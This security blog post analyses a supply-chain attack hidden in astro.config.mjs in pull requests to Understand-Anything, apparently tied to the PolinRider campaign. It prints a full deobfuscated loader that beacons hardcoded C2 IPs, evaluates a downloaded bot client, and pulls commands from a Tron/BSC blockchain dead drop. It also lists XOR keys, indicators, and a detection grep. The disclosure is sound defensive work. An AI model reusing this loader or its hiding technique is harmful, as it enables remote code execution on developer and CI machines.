astro.config.mjs Supply Chain Attack via Blockchain C2
Table of Contents
Pull request #206 against Egonex-AI/Understand-Anything (an open source code-to-knowledge-graph tool with 57,000+ GitHub stars) carries a build-time payload hidden in homepage/astro.config.mjs. Every invocation of astro build, astro dev, or astro preview from the affected branch runs the file as a Node.js module, and an obfuscated IIFE at the end fires automatically. The payload beacons one of three hardcoded C2 servers, exfiltrates a campaign marker, XOR-decrypts and evaluates a downloaded bot client, then independently resolves a second-stage command from a Tron blockchain address whose latest transaction encodes a BSC transaction hash carrying the active payload. Because the command relay uses only public blockchain RPC nodes, blocking the C2 IPs does not stop the second stage. PR #206 was not an isolated attempt. The same author opened three near-identical pull requests against the repository inside 48 hours, each with a different cover story but the same payload commit.
The deceptive PR
The PR title reads fix(dashboard): filter Path Finder "To" dropdown to reachable nodes (#188). The description documents a BFS reachability fix, a shared useMemo adjacency map, a useEffect for clearing stale targets, and a test plan citing 395 assertions across an 80-node generated graph. None of that appears in the diff.

The actual changed files are two:
.gitignore: addsbranch_structure.json,temp_auto_push.bat, andtemp_interactive_push.bathomepage/astro.config.mjs: insertscreateRequirepreamble and a large obfuscated payload
The .gitignore additions suppress three Windows batch scripts from git status. The .bat filenames point to automated push tooling, consistent with the attacker running a Windows-based workflow to generate and submit PRs across multiple targets. The payload in astro.config.mjs is appended after several hundred characters of horizontal whitespace on the same line as the closing });. GitHub’s diff renderer treats that line as complete. A reviewer scrolling vertically through the diff sees nothing suspicious.

The malicious file is pinned at AsimRaza10/Understand-Anything @ 8d30be36. (Scroll right in the code section)
The attack was publicly disclosed in issue #432, filed by a downstream user who reviewed the PR diff statically and never checked out or built the branch. The issue title reads: “Security: PR #206 injects an obfuscated executable payload into homepage/astro.config.mjs (do not merge).”
This PR fits the V4 vector in SafeDep’s malicious pull request threat model: a contributor-class attacker submits a plausible-looking change to a public repository, targeting the build pipeline rather than the dependency graph. The threat model covers the full taxonomy; this post documents one live instance in detail.
The same payload across three pull requests
PR #206 is one of three pull requests AsimRaza10 opened against Egonex-AI/Understand-Anything between 2026-05-24 and 2026-05-26. All three branches resolve to the same head commit 8d30be36, so the payload is byte for byte identical across them. Only the title and description change.
| PR | Date | What the description claims | Files the diff actually changes |
|---|---|---|---|
| #198 | 2026-05-24 | A 4-line README edit adding an “Articles & tutorials” link to the Community section | .gitignore, homepage/astro.config.mjs |
| #206 | 2026-05-24 | A React Path Finder reachability fix with a 395-assertion test plan | .gitignore, homepage/astro.config.mjs |
| #261 | 2026-05-26 | Community health files, dashboard port safety, and troubleshooting docs across 7 issues | .gitignore, homepage/astro.config.mjs |
Every description names files the diff never touches. PR #198 claims a single four-line README change and modifies neither the README nor four lines. PR #261 enumerates CODE_OF_CONDUCT.md, GitHub issue templates, vite.config.ts, and a root package.json, and modifies none of them. It also closes with a “Made with Cursor” footer, framing the change as routine AI-assisted housekeeping. In all three the real diff is the same two files, five lines appended to .gitignore and the obfuscated loader appended to homepage/astro.config.mjs.
The variety of cover stories is the attacker’s hedge. A documentation tweak, a React bug fix, and a multi-issue chore PR share nothing except their author and their payload, and one of those three framings is more likely than the others to get merged without a maintainer checking out the branch. All three are now closed and unmerged.
Why astro.config.mjs is an attack surface
Astro evaluates astro.config.mjs as a live Node.js module at the start of every dev, build, and preview run. The file executes before any user code, before any import graph resolves, with full access to the process environment and filesystem. This is the same execution context as a postinstall script, but the trigger is broader. A pnpm install happens once per environment setup. astro dev runs continuously throughout a project’s lifetime, so every developer, every CI job, and every preview build on any branch carrying this file executes the payload.
There is no opt-in, no sandbox, and no way to run Astro builds without evaluating the config. This is the config-as-code attack surface in practice.
Recovering require in an ESM context
Astro configs are ES modules. The http and https Node.js builtins the payload needs are not available without explicit ESM imports, and adding visible imports would surface in the diff. The payload restores require through three added lines:
// homepage/astro.config.mjs @ 8d30be36import { createRequire } from 'module';
const require = createRequire(import.meta.url);The obfuscated IIFE that follows uses a string-shuffle cipher (_$_1e42) to decode internal symbol names, then plants the recovered values on the global object:
// Decoded from the _$_1e42 string-shuffle layerglobal['r'] = require;if (typeof module === 'object') { global['module'] = module;}global['!'] = '8-3317';global['!'] is the campaign marker. Stage B reads it to select a C2 host.
Stage B: C2 selection and boot beacon
Stage B inspects the campaign marker and picks one of three hardcoded C2 servers. It issues an HTTP GET to /$/boot with a spoofed Chrome 131 desktop User-Agent. The Sec-V header exfiltrates the marker value, letting the attacker correlate beacons to campaigns:
// STAGE B — stageB_boot (deobfuscated)// homepage/astro.config.mjs @ 8d30be36const marker = global._V || 0;
if (marker[0] === "A") { global._H2 = "http://166.88.54.158";} else if (!isNaN(parseInt(marker))) { global._H2 = "http://198.105.127.210";} else { global._H = "http://198.105.127.210"; global._H2 = "http://23.27.202.27:27017";}
const req = require_("http").request({ method: "GET", hostname: url.hostname, port: url.port, path: url.pathname, headers: { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 " + "(KHTML; like Gecko) Chrome/131.0.0.0 Safari/537.36", "Sec-V": marker, },}, ...);The response body is XOR-decrypted with the static key ThZG+0jfXE6VAGOJ and passed to eval(). The C2 response at /$/boot becomes the live bot client. The attacker rotates it by updating what the server serves, with no changes to the repository.
Stage A: the blockchain dead drop
Stage A runs concurrently with Stage B. It resolves a second-stage command through a three-chain relay:
Fetch the latest outgoing confirmed transaction from Tron address
TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAPviaapi.trongrid.io. Decode theraw_data.datahex field to UTF-8, then reverse the string character by character. The result is a BSC transaction hash. If the Tron request fails, the resolver falls back to Aptos account0xbe037400...380811eviafullnode.mainnet.aptoslabs.com, where the most recent transaction carries the BSC hash directly as a payload argument.Fetch the BSC transaction from
bsc-dataseed.binance.org, falling back tobsc-rpc.publicnode.com. Strip the0xprefix fromtx.input, decode hex to UTF-8, and split on the delimiter?.?. Take the right-hand segment.XOR-decrypt the segment with key
2[gWfGj;<:-93Z^C. The plaintext is the next-stage JavaScript command, passed toeval().
// STAGE A — stageA_resolver (deobfuscated)// homepage/astro.config.mjs @ 8d30be36const tron = await getJson( 'https://api.trongrid.io/v1/accounts/' + tronAddr + '/transactions?only_confirmed=true&only_from=true&limit=1');bscTxHash = Buffer.from(tron.data[0].raw_data.data, 'hex').toString('utf8').split('').reverse().join('');// ...const tx = await rpc('eth_getTransactionByHash', [bscTxHash], 'bsc-dataseed.binance.org');encrypted = Buffer.from(tx.result.input.substring(2), 'hex').toString('utf8').split('?.?')[1];The attacker updates the active payload by sending one new BSC transaction from a wallet they control. No DNS record changes, no IP address updates, no server restarts. The Stage A chain uses only public, unauthenticated blockchain APIs. Blocking those endpoints causes collateral damage to any legitimate BSC or Tron tooling in the same environment, which makes them an impractical blocklist target.
At analysis time, the live Tron drop resolved to two BSC transactions carrying the active next-stage payload:
0x80a1148ee589125bc1e57d36abac9f08089b2990d9372be3a33a1f057ad1ef890xa896af4f2876df59af1e705fb75031630ebd37fa89659a9896be4d3da8c87f02
Indicators of compromise
| Indicator | Type | Notes |
|---|---|---|
166.88.54[.]158 | C2 IP | Stage B, marker prefix "A" |
198.105.127[.]210 | C2 IP | Stage B, numeric marker |
23.27.202[.]27:27017 | C2 IP | Stage B fallback. Port 27017 served over plain HTTP |
/$/boot | C2 path | GET endpoint. Delivers XOR-encrypted bot client |
ThZG+0jfXE6VAGOJ | XOR key | Decrypts the /$/boot response body |
2[gWfGj;<:-93Z^C | XOR key | Decrypts the blockchain-fetched command |
TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP | Tron address | Stage A primary dead drop |
0xbe037400670fbf1c32364f762975908dc43eeb38759263e7dfcdabc76380811e | Aptos account | Stage A fallback dead drop |
Sec-V | HTTP header | Exfiltrates campaign marker in boot request |
AsimRaza10 | GitHub account | PR author |
branch_structure.json, temp_auto_push.bat, temp_interactive_push.bat | Suppressed files | Attacker tooling, hidden by .gitignore additions |
Detection and response
If the branch was never built locally or in CI, the risk stops at source review. All three pull requests are now closed and unmerged.
If any environment ran astro build, astro dev, or astro preview from the fix/path-finder-reachable-targets branch, treat that machine as compromised. Rotate all credentials and tokens accessible from that build environment, including registry tokens, cloud provider keys, and CI secrets. Review outbound network logs for connections to 166.88.54[.]158, 198.105.127[.]210, and 23.27.202[.]27.
For project maintainers, the fastest triage signal is a PR description that names files the diff does not touch. A change claiming to fix a React component that modifies astro.config.mjs and .gitignore without touching any .tsx file is an immediate mismatch worth investigating before any local checkout.
For automated detection, no legitimate astro.config.mjs needs to reconstruct require. Auditing for this pattern across config files is a fast first pass:
grep -r "createRequire" --include="*.mjs" --include="*.cjs" .The presence of createRequire in a build tool config file, combined with any network call or eval(), is the complete signature for this loader class.
Attribution: PolinRider original variant
PR #206’s cryptographic fingerprints match the PolinRider campaign documented by OpenSourceMalware, a DPRK-attributed supply chain operation tracked since early 2026.
| Fingerprint | PolinRider (OSM) | PR #206 |
|---|---|---|
| Decoder function | _$_1e42 | _$_1e42 |
| Shuffle marker | rmcej%otb% | rmcej%otb% |
| Layer 1 seed | 2857687 | 2857687 |
| Tron dead drop | TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP | TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP |
| Chain XOR key | 2[gWfGj;<:-93Z^C | 2[gWfGj;<:-93Z^C |
| Globals | global['!'], global['r'], global['m'] | identical |
| Propagation artifact | temp_auto_push.bat | present in .gitignore |
| Blockchain relay | TRON → Aptos → BSC | identical |
The payload carries the original variant (rmcej%otb%, seed 2857687). OSM documented a rotated variant (Cot%3t=shtP / MDy) emerging in April 2026. PR #206 was submitted on 2026-05-24, after that rotation, pointing to either a lagging instance running older tooling or a parallel operator on the same infrastructure who skipped the update.
OSM’s Stage 2 RE notes name TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP as PolinRider’s Tron dead drop. The address is the same.
The attack vector differs from every prior PolinRider delivery method. PolinRider targets developers directly: a developer installs a poisoned npm package, clones a weaponized take-home test (ShoeVista, StakingGame), or opens a project with a malicious .vscode/tasks.json. The developer’s machine is the immediate target. Infection is one-to-one.
PR #206 targets the upstream repository. The attacker submits a change. If a maintainer merges it, the payload ships inside the project’s source tree. Any developer who clones the repository and runs astro dev or astro build executes the loader, with no npm install, no fake interview, no VS Code extension required.
OSM has not documented the horizontal whitespace diff-hiding technique in prior PolinRider reporting. The attacker added it for the PR review context, pushing the payload far enough right that GitHub’s renderer clips the line before the obfuscated code is visible. The full PolinRider campaign writeup covers the broader infection scope, variant history, and the merged TasksJacker cluster.
The broader picture
This attack combines three things that individually are familiar but together open a detection gap: an elaborate fake PR description with fabricated test evidence, a diff that hides its payload in horizontal whitespace, and a two-stage C2 where the second stage uses public blockchain infrastructure as a write-once, read-anywhere relay.
The malicious pull request threat model maps the attack surface this belongs to. PR #206 is a clean real-world instance of that threat model’s V4 vector: build-pipeline injection through a plausible contributor PR, with the payload in a file that runs unconditionally on every developer machine and CI node that checks out the branch.
Deobfuscated payload
Full static reconstruction of both stages. Nothing below was executed — this is the result of manually resolving the string-shuffle cipher and unpacking the nested packer layers. Variable names are restored; the obfuscator’s tamper-check stubs are stripped.
/*
* Recovered by resolving the two on-chain dead drops live, then unpacking the nested
* packer layers each delivered. Variable names below are restored; the obfuscator's
* junk `if(!_$_x){return}` tamper-checks are dropped (they never fired).
*
* Two cooperating stages were delivered:
* STAGE B ("boot") : configures dead-drop coordinates + C2 host, then beacons the
* HTTP C2 for the actual bot client and eval()s it.
* STAGE A ("resolver") : the self-propagating blockchain resolver — pulls the next
* command from chain, XOR-decrypts it, eval()s it. Identical in
* shape to the original loader, i.e. it reseeds the loop.
*
* ── INDICATORS OF COMPROMISE ───────────────────────────────────────────────────────────
* HTTP C2 hosts : http://166.88.54.158
* http://198.105.127.210
* http://23.27.202.27:27017 (27017 = MongoDB default port, here HTTP)
* C2 boot path : /$/boot
* C2 headers : User-Agent: spoofed Chrome 131 / Windows 10 x64
* Sec-V: <campaign/marker value from global._V>
* Resp. XOR key : "ThZG+0jfXE6VAGOJ" (decrypts the boot client)
* Dead-drop XOR : "2[gWfGj;<:-93Z^C" (decrypts the chain command)
* Tron dead drop: TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP (-> global._t_1)
* Aptos fallback: 0xbe037400670fbf1c32364f762975908dc43eeb38759263e7dfcdabc76380811e (-> _t_2)
* Chain RPCs : api.trongrid.io, fullnode.mainnet.aptoslabs.com,
* bsc-dataseed.binance.org, bsc-rpc.publicnode.com
* Globals used : _V (campaign tag), _H/_H2 (chosen C2 host), _t_1/_t_2 (drop coords),
* _t_t (run throttle), _t_c/_t_0 (cached client / env blob), r (=require)
*
* Live resolution at analysis time additionally produced these BSC tx hashes carrying
* the next stage (derived from the Tron drops, hex->utf8->reversed):
* 0x80a1148ee589125bc1e57d36abac9f08089b2990d9372be3a33a1f057ad1ef89
* 0xa896af4f2876df59af1e705fb75031630ebd37fa89659a9896be4d3da8c87f02
* ────────────────────────────────────────────────────────────────────────────────────────
*/
const require_ = global.r; // require, smuggled onto global by an earlier layer
// =====================================================================================
// STAGE B — "boot": pick a C2, set dead-drop coordinates, fetch + decrypt + eval client
// =====================================================================================
(async function stageB_boot() {
const marker = global._V || 0; // campaign/platform marker (e.g. "A8-3317")
// Choose which hardcoded C2 host to use based on the marker's shape.
if (marker[0] === 'A') {
global._H2 = 'http://166.88.54.158';
} else if (!isNaN(parseInt(marker))) {
global._H2 = 'http://198.105.127.210';
} else {
global._H = 'http://198.105.127.210';
global._H2 = 'http://23.27.202.27:27017';
}
// Seed the blockchain dead-drop coordinates that STAGE A will read.
global._t_1 = 'TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP';
global._t_2 = '0xbe037400670fbf1c32364f762975908dc43eeb38759263e7dfcdabc76380811e';
// Repeating-key XOR decryptor for the C2 response.
const xorDecrypt = (cipher) => {
const key = 'ThZG+0jfXE6VAGOJ';
let out = '';
for (let i = 0; i < cipher.length; i++)
out += String.fromCharCode(cipher.charCodeAt(i) ^ key.charCodeAt(i % key.length));
return out;
};
// Beacon the HTTP C2 at /$/boot, posing as a desktop Chrome browser; the marker is
// exfiltrated in the "Sec-V" header. The response body is the encrypted bot client.
const encryptedClient = await new Promise((resolve, reject) => {
const url = new URL((global._H || global._H2) + '/$/boot');
const req = require_('http').request(
{
method: 'GET',
hostname: url.hostname,
port: url.port,
path: url.pathname,
headers: {
'User-Agent':
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 ' +
'(KHTML; like Gecko) Chrome/131.0.0.0 Safari/537.36',
'Sec-V': marker,
},
},
(res) => {
let body = '';
res.on('data', (c) => (body += c));
res.on('end', () => resolve(body));
}
);
req.on('error', reject);
req.end();
});
eval(xorDecrypt(encryptedClient)); // <-- runs the downloaded bot client
})();
// =====================================================================================
// STAGE A — "resolver": fetch next command from the blockchain dead drop, decrypt, eval
// (Same technique as the original loader; this is the loop reseeding itself.)
// =====================================================================================
(async function stageA_resolver() {
// GET url -> parsed JSON
const getJson = (url) =>
new Promise((resolve, reject) => {
require_('https')
.get(url, (res) => {
let body = '';
res.on('data', (c) => (body += c));
res.on('end', () => {
try {
resolve(JSON.parse(body));
} catch (e) {
reject(e);
}
});
})
.on('error', reject)
.end();
});
// Ethereum-style JSON-RPC POST
const rpc = (method, params = [], hostname) =>
new Promise((resolve, reject) => {
const payload = JSON.stringify({ jsonrpc: '2.0', method, params, id: 1 });
const req = require_('https')
.request({ hostname, method: 'POST' }, (res) => {
let body = '';
res.on('data', (c) => (body += c));
res.on('end', () => {
try {
resolve(JSON.parse(body));
} catch (e) {
reject(e);
}
});
})
.on('error', reject);
req.write(payload);
req.end();
});
async function resolveCommand(xorKey, tronAddr, aptosAcct) {
// 1) Tron latest outgoing tx -> raw_data.data -> hex->utf8 -> REVERSED = BSC tx hash
let bscTxHash;
try {
const tron = await getJson(
'https://api.trongrid.io/v1/accounts/' + tronAddr + '/transactions?only_confirmed=true&only_from=true&limit=1'
);
bscTxHash = Buffer.from(tron.data[0].raw_data.data, 'hex').toString('utf8').split('').reverse().join('');
if (!bscTxHash) throw new Error();
} catch (e) {
// Fallback: Aptos account's latest tx argument carries the hash
const aptos = await getJson(
'https://fullnode.mainnet.aptoslabs.com/v1/accounts/' + aptosAcct + '/transactions?limit=1'
);
bscTxHash = aptos[0].payload.arguments[0];
}
// 2) BSC tx.input -> strip 0x -> hex->utf8 -> split("?.?")[1] = encrypted stage
let encrypted;
try {
const tx = await rpc('eth_getTransactionByHash', [bscTxHash], 'bsc-dataseed.binance.org');
encrypted = Buffer.from(tx.result.input.substring(2), 'hex').toString('utf8').split('?.?')[1];
if (!encrypted) throw new Error();
} catch (e) {
const tx = await rpc('eth_getTransactionByHash', [bscTxHash], 'bsc-rpc.publicnode.com');
encrypted = Buffer.from(tx.result.input.substring(2), 'hex').toString('utf8').split('?.?')[1];
}
// 3) repeating-key XOR -> plaintext JS command
let out = '';
for (let i = 0; i < encrypted.length; i++)
out += String.fromCharCode(encrypted.charCodeAt(i) ^ xorKey.charCodeAt(i % xorKey.length));
return out;
}
const command = await resolveCommand(
'2[gWfGj;<:-93Z^C',
global._t_1, // = TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP
global._t_2 // = 0xbe037400...380811e
);
eval(command); // <-- runs the next chain command
})();- supply-chain
- malware
- javascript
- blockchain
- build-time-attack
Author
SafeDep Team
safedep.io
Share
The Latest from SafeDep blogs
Follow for the latest updates and insights on open source security & engineering

@withgoogle/stitch-sdk: Scope Squat Harvests Developer Credentials
A malicious npm package squats the @withgoogle scope to impersonate Google Stitch, silently harvesting credentials from Claude Code, git, GitHub CLI, SSH keys, npm, and Docker on install.

Mastra npm Scope Takeover: 143 Packages Drop a RAT
An attacker republished 143 @mastra packages, including @mastra/core, each with one injected dependency: easy-day-js, a dayjs clone whose install hook downloads and runs a remote access trojan.

Five npm Packages That Hide a Windows Binary Dropper
Five npm packages published in a 12-minute burst split a Windows binary dropper across a fake utility toolkit. The loader hides in a preinstall hook, decodes its C2 from a helper package, and fetches...

Miasma Worm: Most Infected GitHub Repos Are Still Live
Eight days after the Miasma worm forged a credential stealer into public GitHub repositories, most are still serving it. A re-scan of the published victim list plus a fresh code-search sweep found...

Ship Code.
Not Malware.
Start free with open source tools on your machine. Scale to a unified platform for your organization.
